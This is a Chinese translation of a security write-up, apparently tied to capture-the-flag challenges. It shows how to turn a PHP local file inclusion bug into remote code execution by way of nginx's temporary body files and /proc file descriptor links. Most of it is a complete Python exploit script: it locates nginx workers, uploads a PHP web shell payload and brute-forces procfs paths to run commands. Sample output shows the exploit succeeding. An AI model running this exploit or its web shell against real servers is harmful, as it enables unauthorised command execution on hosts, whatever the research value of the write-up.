大多数当前的 LFI 开发技术依赖于 PHP 能够创建某种形式的临时或会话文件。让我们考虑以下示例,其中以前可用的技巧不起作用:
PHP代码:
代码语言:javascript复制<?php include_once ( $_GET [ 'file' ]);
FPM/PHP 配置:
代码语言:javascript复制...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
设置:
代码语言:javascript复制...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
幸运的是,PHP 目前经常通过 PHP-FPM 和 Nginx 部署。Nginx 提供了一个容易被忽视的客户端主体缓冲功能,如果客户端主体(不限于发布)大于某个阈值,它将写入临时文件。
如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的身份运行),则此功能允许在不使用任何其他创建文件的方式的情况下利用 LFI。
相关Nginx代码:
代码语言:javascript复制ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
可以看出,tempfile 在被 Nginx 打开后立即被取消链接。幸运的是 procfs 仍可用于通过竞争获取对已删除文件的引用:
代码语言:javascript复制...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
注意:不能直接包含/proc/34/fd/15
在这个例子中,因为 PHP 的include
函数会解析/var/lib/nginx/body/0000001368 (deleted)
文件系统中不存在的路径。幸运的是,这个小限制可以通过一些间接方式绕过,例如:/proc/self/fd/34/../../../34/fd/15
最终执行已删除/var/lib/nginx/body/0000001368
文件的内容。
充分利用:
代码语言:javascript复制#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[ ] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[ ] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
输出:
代码语言:javascript复制$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] starting uploader
[ ] brute loop restarted: 33
[ ] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
网站注意事项:
- includer's revenge还包含一个 LFI 漏洞。通过
fastcgi_buffering
它更容易利用,因为可以通过调用readfile
http:// 资源保持临时文件打开。 - counter额外添加,
system()
以便/proc/$PID/cmdline
可用于通过 base64 包装器包含本地文件。:)